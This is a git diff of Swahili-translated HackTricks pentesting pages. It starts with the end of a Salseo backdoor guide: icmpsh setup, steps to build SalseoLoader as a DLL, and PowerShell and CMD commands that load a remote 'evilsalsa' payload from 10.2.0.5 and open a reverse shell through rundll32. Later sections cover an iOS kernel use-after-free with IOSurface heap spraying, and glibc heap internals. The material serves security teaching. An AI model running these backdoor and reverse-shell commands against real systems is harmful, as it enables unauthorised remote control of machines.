sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Tekeleza mteja:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Ndani ya mwathirika, hebu tuendeshe kitu cha salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Kuunda SalseoLoader kama DLL inayosafirisha kazi kuu
Fungua mradi wa SalseoLoader ukitumia Visual Studio.
### Ongeza kabla ya kazi kuu: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Sakinisha DllExport kwa mradi huu
#### **Zana** --> **Meneja wa Kifurushi cha NuGet** --> **Simamisha Kifurushi cha NuGet kwa Suluhisho...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Tafuta kifurushi cha DllExport (ukitumia tab ya Kagua), na bonyeza Sakinisha (na kubali popup)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Katika folda yako ya mradi, faili zifuatazo zimeonekana: **DllExport.bat** na **DllExport_Configure.bat**
### **U**ondoe DllExport
Bonyeza **Ondoa** (ndiyo, ni ajabu lakini ni muhimu)
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Toka Visual Studio na tekeleza DllExport_configure**
Tu **toka** Visual Studio
Kisha, nenda kwenye **folda ya SalseoLoader** yako na **tekeleza DllExport_Configure.bat**
Chagua **x64** (ikiwa unakusudia kuitumia ndani ya sanduku la x64, hiyo ilikuwa hali yangu), chagua **System.Runtime.InteropServices** (ndani ya **Namespace kwa DllExport**) na bonyeza **Tumia**
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Fungua mradi tena na visual Studio**
**\[DllExport]** haipaswi kuwa na alama ya kosa tena
![](<../images/image (8) (1).png>)
### Jenga suluhisho
Chagua **Aina ya Matokeo = Maktaba ya Darasa** (Mradi --> SalseoLoader Mali --> Programu --> Aina ya matokeo = Maktaba ya Darasa)
![](<../images/image (10) (1).png>)
Chagua **jukwaa la x64** (Mradi --> SalseoLoader Mali --> Jenga --> Lengo la jukwaa = x64)
![](<../images/image (9) (1) (1).png>)
Ili **kujenga** suluhisho: Jenga --> Jenga Suluhisho (Ndani ya console ya Matokeo, njia ya DLL mpya itaonekana)
### Jaribu Dll iliyozalishwa
Nakili na ubandike Dll mahali unapotaka kuijaribu.
Tekeleza:
```
rundll32.exe SalseoLoader.dll,main
```
Ikiwa hakuna kosa linalojitokeza, huenda una DLL inayofanya kazi!!
## Pata shell ukitumia DLL
Usisahau kutumia **HTTP** **server** na kuweka **nc** **listener**
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1 +1,3 @@
# Kuandika Bila Mpangilio 2 Kutekeleza
# Arbitrary Write 2 Exec
{{#include /banners/hacktricks-training.md}}

View File

@ -1,70 +1,72 @@
# iOS Exploiting
## Physical use-after-free
{{#include /banners/hacktricks-training.md}}
Hii ni muhtasari kutoka kwa posti kutoka [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) zaidi ya hayo taarifa zaidi kuhusu exploit kutumia mbinu hii inaweza kupatikana katika [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
## Matumizi ya kimwili baada ya uhuru
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Hii ni muhtasari kutoka kwa chapisho kutoka [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) zaidi ya hayo, taarifa zaidi kuhusu exploit inayotumia mbinu hii inaweza kupatikana katika [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
**Anwani ya nafasi ya kumbukumbu ya virtual** kwa michakato ya mtumiaji kwenye iOS inapanuka kutoka **0x0 hadi 0x8000000000**. Hata hivyo, anwani hizi hazihusiani moja kwa moja na kumbukumbu halisi. Badala yake, **kernel** hutumia **meza za kurasa** kutafsiri anwani za virtual kuwa anwani halisi **za kimwili**.
### Usimamizi wa kumbukumbu katika XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
#### Levels of Page Tables in iOS
**Anwani ya kumbukumbu ya virtual** kwa michakato ya mtumiaji kwenye iOS inapanuka kutoka **0x0 hadi 0x8000000000**. Hata hivyo, anwani hizi hazihusiani moja kwa moja na kumbukumbu halisi. Badala yake, **kernel** hutumia **meza za kurasa** kutafsiri anwani za virtual kuwa anwani halisi za **kumbukumbu**.
#### Viwango vya Meza za Kurasa katika iOS
Meza za kurasa zimeandaliwa kwa njia ya ngazi tatu:
1. **L1 Page Table (Ngazi 1)**:
1. **Meza ya L1 (Ngazi ya 1)**:
* Kila kipengee hapa kinawakilisha anuwai kubwa ya kumbukumbu ya virtual.
* Inashughulikia **0x1000000000 bytes** (au **256 GB**) ya kumbukumbu ya virtual.
2. **L2 Page Table (Ngazi 2)**:
* Inashughulikia **0x1000000000 bytes** (au **256 GB**) za kumbukumbu ya virtual.
2. **Meza ya L2 (Ngazi ya 2)**:
* Kipengee hapa kinawakilisha eneo dogo la kumbukumbu ya virtual, haswa **0x2000000 bytes** (32 MB).
* Kipengee cha L1 kinaweza kuelekeza kwenye meza ya L2 ikiwa hakiwezi kuunganisha eneo lote lenyewe.
3. **L3 Page Table (Ngazi 3)**:
* Hii ni ngazi ya juu zaidi, ambapo kila kipengee kinaunganisha ukurasa mmoja wa kumbukumbu **4 KB**.
3. **Meza ya L3 (Ngazi ya 3)**:
* Hii ni ngazi ya juu zaidi, ambapo kila kipengee kinaunganisha ukurasa mmoja wa kumbukumbu wa **4 KB**.
* Kipengee cha L2 kinaweza kuelekeza kwenye meza ya L3 ikiwa udhibiti wa kina unahitajika.
#### Mapping Virtual to Physical Memory
#### Kuunganisha Kumbukumbu ya Virtual na Kumbukumbu Halisi
* **Direct Mapping (Block Mapping)**:
* Baadhi ya vipengee katika meza ya kurasa moja kwa moja **huunganisha anuwai ya anwani za virtual** na anuwai inayoendelea ya anwani za kimwili (kama njia ya mkato).
* **Pointer to Child Page Table**:
* **Kuunganisha Moja kwa Moja (Block Mapping)**:
* Baadhi ya vipengee katika meza ya kurasa moja kwa moja **huunganisha anuwai ya anwani za virtual** na anuwai inayoendelea ya anwani halisi (kama njia fupi).
* **Kiashiria kwa Meza ya Kurasa ya Mtoto**:
* Ikiwa udhibiti wa kina unahitajika, kipengee katika ngazi moja (mfano, L1) kinaweza kuelekeza kwenye **meza ya kurasa ya mtoto** katika ngazi inayofuata (mfano, L2).
#### Example: Mapping a Virtual Address
#### Mfano: Kuunganisha Anwani ya Virtual
Hebu sema unajaribu kufikia anwani ya virtual **0x1000000000**:
Hebu tuseme unajaribu kufikia anwani ya virtual **0x1000000000**:
1. **L1 Table**:
* Kernel inakagua kipengee cha meza ya L1 kinachohusiana na anwani hii ya virtual. Ikiwa ina **pointer kwa meza ya L2**, inaenda kwenye meza hiyo ya L2.
2. **L2 Table**:
* Kernel inakagua meza ya L2 kwa ramani ya kina zaidi. Ikiwa kipengee hiki kinaelekeza kwenye **meza ya L3**, inaendelea huko.
3. **L3 Table**:
* Kernel inatafuta kipengee cha mwisho cha L3, ambacho kinaelekeza kwenye **anwani ya kimwili** ya ukurasa halisi wa kumbukumbu.
1. **Meza ya L1**:
* Kernel inakagua kipengee cha meza ya L1 kinachohusiana na anwani hii ya virtual. Ikiwa ina **kiashiria kwa meza ya L2**, inaenda kwenye meza hiyo ya L2.
2. **Meza ya L2**:
* Kernel inakagua meza ya L2 kwa kuunganisha kwa kina zaidi. Ikiwa kipengee hiki kinaelekeza kwenye **meza ya L3**, inaendelea huko.
3. **Meza ya L3**:
* Kernel inatafuta kipengee cha mwisho cha L3, ambacho kinaelekeza kwenye **anwani halisi** ya ukurasa halisi wa kumbukumbu.
#### Example of Address Mapping
#### Mfano wa Kuunganisha Anwani
Ikiwa unaandika anwani ya kimwili **0x800004000** kwenye index ya kwanza ya meza ya L2, basi:
Ikiwa unaandika anwani halisi **0x800004000** kwenye index ya kwanza ya meza ya L2, basi:
* Anwani za virtual kutoka **0x1000000000** hadi **0x1002000000** zinaunganishwa na anwani za kimwili kutoka **0x800004000** hadi **0x802004000**.
* Hii ni **block mapping** katika ngazi ya L2.
* Anwani za virtual kutoka **0x1000000000** hadi **0x1002000000** zinaunganisha na anwani halisi kutoka **0x800004000** hadi **0x802004000**.
* Hii ni **kuunganisha block** katika ngazi ya L2.
Vinginevyo, ikiwa kipengee cha L2 kinaelekeza kwenye meza ya L3:
* Kila ukurasa wa 4 KB katika anuwai ya anwani za virtual **0x1000000000 -> 0x1002000000** utakuwa umeunganishwa na vipengee vya kibinafsi katika meza ya L3.
* Kila ukurasa wa 4 KB katika anuwai ya anwani ya virtual **0x1000000000 -> 0x1002000000** utaunganishwa na vipengee vya kibinafsi katika meza ya L3.
### Physical use-after-free
### Matumizi ya kimwili baada ya uhuru
**Physical use-after-free** (UAF) hutokea wakati:
**Matumizi ya kimwili baada ya uhuru** (UAF) hutokea wakati:
1. Mchakato **unapotoa** kumbukumbu fulani kama **inasomeka na kuandikwa**.
2. **Meza za kurasa** zinasasishwa ili kuunganisha kumbukumbu hii na anwani maalum ya kimwili ambayo mchakato unaweza kufikia.
2. **Meza za kurasa** zinasasishwa kuunganisha kumbukumbu hii na anwani halisi maalum ambayo mchakato unaweza kufikia.
3. Mchakato **unafuta** (huru) kumbukumbu hiyo.
4. Hata hivyo, kutokana na **hitilafu**, kernel **inasahau kuondoa uhusiano** kutoka kwa meza za kurasa, ingawa inashiriki kumbukumbu halisi inayohusiana kama huru.
5. Kernel inaweza kisha **kutoa tena kumbukumbu hii ya kimwili "iliyohifadhiwa"** kwa madhumuni mengine, kama **data ya kernel**.
6. Kwa kuwa uhusiano haukuondolewa, mchakato bado unaweza **kusoma na kuandika** kwenye kumbukumbu hii ya kimwili.
4. Hata hivyo, kutokana na **hitilafu**, kernel **inasahau kuondoa kuunganisha** kutoka kwa meza za kurasa, ingawa inashiriki kumbukumbu halisi inayohusiana kama huru.
5. Kernel inaweza kisha **kutoa tena kumbukumbu halisi "iliyohifadhiwa"** kwa madhumuni mengine, kama **data ya kernel**.
6. Kwa kuwa kuunganisha hakukuondolewa, mchakato bado unaweza **kusoma na kuandika** kwenye kumbukumbu halisi hii.
Hii inamaanisha mchakato unaweza kufikia **kurasa za kumbukumbu ya kernel**, ambazo zinaweza kuwa na data nyeti au muundo, ikiruhusu mshambuliaji **kubadilisha kumbukumbu ya kernel**.
Hii inamaanisha mchakato unaweza kufikia **kurasa za kumbukumbu ya kernel**, ambazo zinaweza kuwa na data au muundo wa nyeti, na hivyo kumruhusu mshambuliaji **kubadilisha kumbukumbu ya kernel**.
### Exploitation Strategy: Heap Spray
### Mkakati wa Uhalifu: Heap Spray
Kwa kuwa mshambuliaji hawezi kudhibiti ni kurasa zipi maalum za kernel zitakazotolewa kwa kumbukumbu iliyohifadhiwa, wanatumia mbinu inayoitwa **heap spray**:
@ -75,13 +77,13 @@ Kwa kuwa mshambuliaji hawezi kudhibiti ni kurasa zipi maalum za kernel zitakazot
Taarifa zaidi kuhusu hii katika [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process
### Mchakato wa Heap Spray Hatua kwa Hatua
1. **Spray IOSurface Objects**: Mshambuliaji anaunda vitu vingi vya IOSurface vyenye kitambulisho maalum ("thamani ya kichawi").
2. **Scan Freed Pages**: Wanakagua ikiwa yoyote ya vitu imewekwa kwenye ukurasa uliohifadhiwa.
3. **Read/Write Kernel Memory**: Kwa kubadilisha maeneo katika kitu cha IOSurface, wanapata uwezo wa kufanya **kusoma na kuandika bila kikomo** katika kumbukumbu ya kernel. Hii inawaruhusu:
* Kutumia eneo moja kusoma **thamani yoyote ya 32-bit** katika kumbukumbu ya kernel.
* Kutumia eneo lingine kuandika **thamani za 64-bit**, kufikia **primitive ya kusoma/kuandika ya kernel** thabiti.
1. **Spray Vitu vya IOSurface**: Mshambuliaji anaunda vitu vingi vya IOSurface vyenye kitambulisho maalum ("thamani ya kichawi").
2. **Chunguza Kurasa Zilizohifadhiwa**: Wanakagua ikiwa yoyote ya vitu imewekwa kwenye ukurasa uliohifadhiwa.
3. **Soma/Andika Kumbukumbu ya Kernel**: Kwa kubadilisha maeneo katika kitu cha IOSurface, wanapata uwezo wa kufanya **kusoma na kuandika bila mpangilio** katika kumbukumbu ya kernel. Hii inawaruhusu:
* Kutumia eneo moja **kusoma thamani yoyote ya 32-bit** katika kumbukumbu ya kernel.
* Kutumia eneo lingine **kuandika thamani za 64-bit**, kufikia **kumbukumbu thabiti ya kusoma/kuandika ya kernel**.
Unda vitu vya IOSurface vyenye thamani ya kichawi IOSURFACE_MAGIC ili baadaye kutafuta:
```c
@ -140,22 +142,22 @@ return 0;
```
### Kufikia Kernel Read/Write na IOSurface
Baada ya kupata udhibiti juu ya kitu cha IOSurface katika kumbukumbu ya kernel (kilichopangwa kwa ukurasa wa kimwili ulioachwa unaoweza kufikiwa kutoka kwa nafasi ya mtumiaji), tunaweza kukitumia kwa **operesheni za kusoma na kuandika za kernel zisizo na mipaka**.
Baada ya kupata udhibiti juu ya kitu cha IOSurface katika kumbukumbu ya kernel (kilichopangwa kwenye ukurasa wa kimwili ulioachwa unaoweza kufikiwa kutoka kwa nafasi ya mtumiaji), tunaweza kukitumia kwa **operesheni za kusoma na kuandika za kernel zisizo na mipaka**.
**Sehemu Muhimu katika IOSurface**
Kitu cha IOSurface kina sehemu mbili muhimu:
1. **Pointer ya Hesabu ya Matumizi**: Inaruhusu **kusoma kwa bit 32**.
2. **Pointer ya Wakati wa Kielelezo**: Inaruhusu **kuandika kwa bit 64**.
1. **Pointer ya Hesabu ya Matumizi**: Inaruhusu **kusoma 32-bit**.
2. **Pointer ya Wakati wa Kielelezo**: Inaruhusu **kuandika 64-bit**.
Kwa kubadilisha pointers hizi, tunaelekeza kwenye anwani zisizo na mipaka katika kumbukumbu ya kernel, na kuwezesha uwezo wa kusoma/kuandika.
#### Kernel Read ya Bit 32
#### Kernel Read ya 32-Bit
Ili kufanya kusoma:
1. Badilisha **pointer ya hesabu ya matumizi** ili kuelekeza kwenye anwani ya lengo minus offset ya byte 0x14.
1. Badilisha **pointer ya hesabu ya matumizi** ili kuelekeza kwenye anwani ya lengo minus offset ya 0x14-byte.
2. Tumia njia ya `get_use_count` kusoma thamani katika anwani hiyo.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
@ -196,8 +198,10 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
#### Muhtasari wa Mchakato wa Ulaghai
1. **Chochea Matumizi Baada ya Kuachiliwa**: Kurasa zilizofunguliwa zinapatikana kwa matumizi tena.
2. **Sambaza Vitu vya IOSurface**: Panga vitu vingi vya IOSurface vyenye "thamani ya kichawi" ya kipekee katika kumbukumbu ya kernel.
2. **Sambaza Vitu vya IOSurface**: Panga vitu vingi vya IOSurface vyenye "thamani ya uchawi" ya kipekee katika kumbukumbu ya kernel.
3. **Tambua IOSurface Inayopatikana**: Pata IOSurface kwenye ukurasa ulioachiliwa ambao unadhibiti.
4. **Tumia Matumizi Baada ya Kuachiliwa**: Badilisha viashiria katika kitu cha IOSurface ili kuwezesha **kusoma/kandika** kwa hiari kwenye kumbukumbu ya kernel kupitia mbinu za IOSurface.
4. **Tumia Matumizi Baada ya Kuachiliwa**: Badilisha viashiria katika kitu cha IOSurface ili kuwezesha **kusoma/kandika** kwa njia isiyo na mipaka kupitia mbinu za IOSurface.
Kwa kutumia hizi msingi, ulaghai unatoa **kusoma 32-bit** na **kandika 64-bit** kwa kumbukumbu ya kernel. Hatua zaidi za jailbreak zinaweza kujumuisha msingi thabiti zaidi wa kusoma/kandika, ambayo inaweza kuhitaji kupita kinga za ziada (mfano, PPL kwenye vifaa vya arm64e vya kisasa).
Kwa kutumia hizi mbinu, ulaghai unatoa **kusoma 32-bit** na **kandika 64-bit** kwa kumbukumbu ya kernel. Hatua zaidi za jailbreak zinaweza kujumuisha mbinu za kusoma/kandika zenye uthabiti zaidi, ambazo zinaweza kuhitaji kupita kinga za ziada (mfano, PPL kwenye vifaa vya arm64e vya kisasa).
{{#include /banners/hacktricks-training.md}}

View File

@ -1,50 +1,52 @@
# Libc Heap
{{#include /banners/hacktricks-training.md}}
## Msingi wa Heap
Heap ni mahali ambapo programu inaweza kuhifadhi data wakati inapoomba data kwa kuita kazi kama **`malloc`**, `calloc`... Aidha, wakati kumbukumbu hii haitahitajika tena inapatikana kwa kuita kazi **`free`**.
Heap kimsingi ni mahali ambapo programu itakuwa na uwezo wa kuhifadhi data wakati inapoomba data kwa kuita kazi kama **`malloc`**, `calloc`... Aidha, wakati kumbukumbu hii haitahitajika tena inapatikana kwa kuita kazi **`free`**.
Kama inavyoonyeshwa, iko tu baada ya ambapo binary inapo load kwenye kumbukumbu (angalia sehemu ya `[heap]`):
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
### Usambazaji wa Msingi wa Chunk
### Usambazaji wa Kichwa Msingi
Wakati data fulani inapoombwa kuhifadhiwa kwenye heap, nafasi fulani ya heap inatengwa kwa ajili yake. Nafasi hii itakuwa ya bin na data iliyohitajika + nafasi ya vichwa vya bin + offset ya ukubwa wa chini wa bin itahifadhiwa kwa chunk. Lengo ni kuhifadhi kumbukumbu kidogo iwezekanavyo bila kufanya iwe ngumu kupata ambapo kila chunk iko. Kwa hili, taarifa za metadata za chunk zinatumika kujua ambapo kila chunk inayotumika/ya bure iko.
Wakati data fulani inapoombwa kuhifadhiwa kwenye heap, nafasi fulani ya heap inatengwa kwa ajili yake. Nafasi hii itakuwa ya bin na data iliyohitajika + nafasi ya vichwa vya bin + offset ya ukubwa wa chini wa bin itahifadhiwa kwa kichwa. Lengo ni kuhifadhi kumbukumbu kidogo iwezekanavyo bila kufanya iwe ngumu kupata kila kichwa kilipo. Kwa hili, taarifa za metadata za kichwa zinatumika kujua kila kichwa kilichotumika/kilichopatikana kilipo.
Kuna njia tofauti za kuhifadhi nafasi hasa kulingana na bin inayotumika, lakini mbinu ya jumla ni ifuatayo:
- Programu inaanza kwa kuomba kiasi fulani cha kumbukumbu.
- Ikiwa katika orodha ya chunks kuna mtu anapatikana mkubwa wa kutosha kutimiza ombi, itatumika
- Hii inaweza hata kumaanisha kwamba sehemu ya chunk inayopatikana itatumika kwa ombi hili na iliyobaki itaongezwa kwenye orodha ya chunks
- Ikiwa hakuna chunk inayopatikana katika orodha lakini bado kuna nafasi katika kumbukumbu ya heap iliyotengwa, meneja wa heap anaunda chunk mpya
- Ikiwa hakuna nafasi ya kutosha ya heap kutenga chunk mpya, meneja wa heap anaomba kernel kuongeza kumbukumbu iliyotengwa kwa heap na kisha kutumia kumbukumbu hii kuunda chunk mpya
- Ikiwa katika orodha ya vichwa kuna kichwa kinachopatikana kikubwa vya kutosha kutimiza ombi, kitatumika.
- Hii inaweza hata kumaanisha kwamba sehemu ya kichwa kinachopatikana itatumika kwa ombi hili na iliyobaki itaongezwa kwenye orodha ya vichwa.
- Ikiwa hakuna kichwa kinachopatikana katika orodha lakini bado kuna nafasi katika kumbukumbu ya heap iliyotengwa, meneja wa heap anaunda kichwa kipya.
- Ikiwa hakuna nafasi ya kutosha ya heap kutenga kichwa kipya, meneja wa heap anaomba kernel kuongeza kumbukumbu iliyotengwa kwa heap na kisha kutumia kumbukumbu hii kuunda kichwa kipya.
- Ikiwa kila kitu kinashindwa, `malloc` inarudisha null.
Kumbuka kwamba ikiwa **kumbukumbu iliyohitajika inapita kigezo fulani**, **`mmap`** itatumika kubaini kumbukumbu iliyohitajika.
Kumbuka kwamba ikiwa **kumbukumbu iliyohitajika inapita kigezo fulani**, **`mmap`** itatumika kuunganisha kumbukumbu iliyohitajika.
## Arenas
Katika **maombi ya multithreaded**, meneja wa heap lazima kuzuia **hali za mashindano** ambazo zinaweza kusababisha ajali. Awali, hii ilifanywa kwa kutumia **mutex ya kimataifa** kuhakikisha kwamba thread moja tu inaweza kufikia heap kwa wakati mmoja, lakini hii ilisababisha **masuala ya utendaji** kutokana na kuzuiliwa kwa mutex.
Katika **maombi ya multithreaded**, meneja wa heap lazima kuzuia **mashindano** ambayo yanaweza kusababisha ajali. Awali, hii ilifanywa kwa kutumia **mutex ya kimataifa** kuhakikisha kwamba nyuzi moja tu inaweza kufikia heap kwa wakati mmoja, lakini hii ilisababisha **masuala ya utendaji** kutokana na kuzuiliwa kwa mutex.
Ili kushughulikia hili, allocator wa heap ptmalloc2 ilianzisha "arenas," ambapo **kila arena** inafanya kazi kama **heap tofauti** yenye **miundo** yake **mwenyewe** na **mutex**, ikiruhusu nyuzi nyingi kufanya operesheni za heap bila kuingiliana, mradi tu wanatumia arenas tofauti.
Ili kushughulikia hili, allocator wa heap wa ptmalloc2 ilianzisha "arenas," ambapo **kila arena** inafanya kazi kama **heap tofauti** yenye **miundo** yake **ya data** na **mutex**, ikiruhusu nyuzi nyingi kufanya operesheni za heap bila kuingiliana, mradi tu wanatumia arenas tofauti.
Arena ya "muhimu" ya default inashughulikia operesheni za heap kwa maombi ya nyuzi moja. Wakati **nyuzi mpya** zinapoongezwa, meneja wa heap anawapa **arenas za sekondari** ili kupunguza ushindani. Kwanza inajaribu kuunganisha kila nyuzi mpya kwenye arena isiyotumika, ikiumba mpya ikiwa inahitajika, hadi kikomo cha mara 2 ya idadi ya nyuzi za CPU kwa mifumo ya 32-bit na mara 8 kwa mifumo ya 64-bit. Mara kikomo kinapofikiwa, **nyuzi lazima zishiriki arenas**, na kusababisha ushindani wa uwezekano.
Arena ya "muhimu" inashughulikia operesheni za heap kwa maombi ya nyuzi moja. Wakati **nyuzi mpya** zinapoongezwa, meneja wa heap anawapa **arenas za pili** ili kupunguza ushindani. Kwanza inajaribu kuunganisha kila nyuzi mpya kwenye arena isiyotumika, ikiumba mpya ikiwa inahitajika, hadi kikomo cha mara 2 ya idadi ya nyuzi za CPU kwa mifumo ya 32-bit na mara 8 kwa mifumo ya 64-bit. Mara kikomo kinapofikiwa, **nyuzi lazima zishiriki arenas**, na kusababisha ushindani wa uwezekano.
Tofauti na arena kuu, ambayo inapanuka kwa kutumia wito wa mfumo wa `brk`, arenas za sekondari zinaunda "subheaps" kwa kutumia `mmap` na `mprotect` ili kuiga tabia ya heap, ikiruhusu kubadilika katika usimamizi wa kumbukumbu kwa operesheni za multithreaded.
Tofauti na arena ya msingi, ambayo inapanuka kwa kutumia wito wa mfumo wa `brk`, arenas za pili zinaunda "subheaps" kwa kutumia `mmap` na `mprotect` kuiga tabia ya heap, ikiruhusu kubadilika katika usimamizi wa kumbukumbu kwa operesheni za multithreaded.
### Subheaps
Subheaps hutumikia kama akiba ya kumbukumbu kwa arenas za sekondari katika maombi ya multithreaded, ikiruhusu kukua na kusimamia maeneo yao ya heap tofauti na heap kuu. Hapa kuna jinsi subheaps zinavyotofautiana na heap ya awali na jinsi zinavyofanya kazi:
Subheaps hutumikia kama akiba ya kumbukumbu kwa arenas za pili katika maombi ya multithreaded, ikiruhusu kukua na kusimamia maeneo yao ya heap tofauti na heap kuu. Hapa kuna jinsi subheaps zinavyotofautiana na heap ya awali na jinsi zinavyofanya kazi:
1. **Heap ya Awali vs. Subheaps**:
- Heap ya awali iko moja kwa moja baada ya binary ya programu katika kumbukumbu, na inapanuka kwa kutumia wito wa mfumo wa `sbrk`.
- Subheaps, zinazotumiwa na arenas za sekondari, zinaundwa kupitia `mmap`, wito wa mfumo unaoelekeza eneo fulani la kumbukumbu.
- Subheaps, zinazotumiwa na arenas za pili, zinaundwa kupitia `mmap`, wito wa mfumo unaounganisha eneo maalum la kumbukumbu.
2. **Hifadhi ya Kumbukumbu kwa kutumia `mmap`**:
- Wakati meneja wa heap anaunda subheap, anahifadhi block kubwa ya kumbukumbu kupitia `mmap`. Hifadhi hii haitoi kumbukumbu mara moja; inateua tu eneo ambalo michakato mingine ya mfumo au usambazaji haipaswi kutumia.
- Kwa kawaida, ukubwa uliotengwa kwa subheap ni 1 MB kwa michakato ya 32-bit na 64 MB kwa michakato ya 64-bit.
3. **Upanuzi wa Polepole kwa kutumia `mprotect`**:
- Eneo la kumbukumbu lililotengwa awali linapewa alama kama `PROT_NONE`, ikionyesha kwamba kernel haitahitaji kutenga kumbukumbu halisi kwa nafasi hii bado.
- Eneo la kumbukumbu lililotengwa awali linapewa alama kama `PROT_NONE`, ikionyesha kwamba kernel haitaji kutenga kumbukumbu halisi kwa nafasi hii bado.
- Ili "kukua" subheap, meneja wa heap anatumia `mprotect` kubadilisha ruhusa za ukurasa kutoka `PROT_NONE` hadi `PROT_READ | PROT_WRITE`, ikimhimiza kernel kutenga kumbukumbu halisi kwa anwani zilizotengwa hapo awali. Njia hii ya hatua kwa hatua inaruhusu subheap kupanuka kadri inavyohitajika.
- Mara subheap yote itakapokamilika, meneja wa heap anaunda subheap mpya ili kuendelea na usambazaji.
@ -72,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
**Kila heap** (main arena au maeneo mengine ya nyuzi) ina **`malloc_state` structure.**\
Ni muhimu kutambua kwamba **main arena `malloc_state`** structure ni **kigezo cha kimataifa katika libc** (hivyo iko katika nafasi ya kumbukumbu ya libc).\
Katika kesi ya **`malloc_state`** structures za heaps za nyuzi, zinapatikana **ndani ya "heap" ya nyuzi husika**.
Katika kesi ya **`malloc_state`** structures za heaps za nyuzi, ziko **ndani ya "heap" ya nyuzi husika**.
Kuna mambo kadhaa ya kuvutia ya kuzingatia kutoka kwa muundo huu (ona msimbo wa C hapa chini):
@ -89,10 +91,10 @@ Kuna mambo kadhaa ya kuvutia ya kuzingatia kutoka kwa muundo huu (ona msimbo wa
```
- `mchunkptr bins[NBINS * 2 - 2];` ina **viungo** kwa **chunks za kwanza na za mwisho** za **bins** ndogo, kubwa na zisizo na mpangilio (the -2 ni kwa sababu index 0 haitumiki)
- Kwa hivyo, **chunk ya kwanza** ya bins hizi itakuwa na **kiungo cha nyuma kwa muundo huu** na **chunk ya mwisho** ya bins hizi itakuwa na **kiungo cha mbele** kwa muundo huu. Ambayo kimsingi inamaanisha kwamba ikiwa unaweza **kuvuja anwani hizi katika main arena** utakuwa na kiungo kwa muundo katika **libc**.
- Struktura `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha zilizounganishwa za maeneo
- Chunk ya `top` ni "chunk" ya mwisho, ambayo kimsingi ni **nafasi yote iliyobaki ya heap**. Mara chunk ya juu inapokuwa "bila", heap imetumika kabisa na inahitaji kuomba nafasi zaidi.
- Chunk ya `last reminder` inatokana na hali ambapo chunk ya ukubwa sahihi haitapatikana na kwa hivyo chunk kubwa inakatwa, sehemu ya kiungo iliyobaki inawekwa hapa.
- Hivyo, **chunk ya kwanza** ya bins hizi itakuwa na **kiungo cha nyuma kwa muundo huu** na **chunk ya mwisho** ya bins hizi itakuwa na **kiungo cha mbele** kwa muundo huu. Ambayo kimsingi inamaanisha kwamba ikiwa unaweza **kuvuja anwani hizi katika main arena** utakuwa na kiungo kwa muundo katika **libc**.
- Struktura `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha zilizounganishwa za arenas
- Chunk ya `top` ni "chunk" ya mwisho, ambayo kimsingi ni **nafasi yote iliyobaki ya heap**. Mara chunk ya juu inakuwa "tupu", heap imetumika kabisa na inahitaji kuomba nafasi zaidi.
- Chunk ya `last reminder` inatokana na hali ambapo chunk ya ukubwa sahihi haitapatikana na hivyo chunk kubwa inakatwa, sehemu ya kiungo iliyobaki inawekwa hapa.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -157,19 +159,19 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
Kama ilivyotajwa hapo awali, vipande hivi pia vina metadata, ambayo inawakilishwa vizuri katika picha hii:
Kama ilivyotajwa hapo awali, vipande hivi pia vina metadata, ambayo inaonyeshwa vizuri katika picha hii:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
Metadata kwa kawaida ni 0x08B ikionyesha ukubwa wa sasa wa kipande kwa kutumia bits 3 za mwisho kuonyesha:
Metadata kawaida ni 0x08B ikionyesha ukubwa wa sasa wa kipande kwa kutumia bits 3 za mwisho kuonyesha:
- `A`: Ikiwa 1 inatoka kwenye subheap, ikiwa 0 iko kwenye arena kuu
- `M`: Ikiwa 1, kipande hiki ni sehemu ya nafasi iliyotolewa na mmap na si sehemu ya heap
- `P`: Ikiwa 1, kipande cha awali kinatumika
Kisha, nafasi ya data ya mtumiaji, na hatimaye 0x08B kuonyesha ukubwa wa kipande cha awali wakati kipande kinapatikana (au kuhifadhi data ya mtumiaji wakati inatolewa).
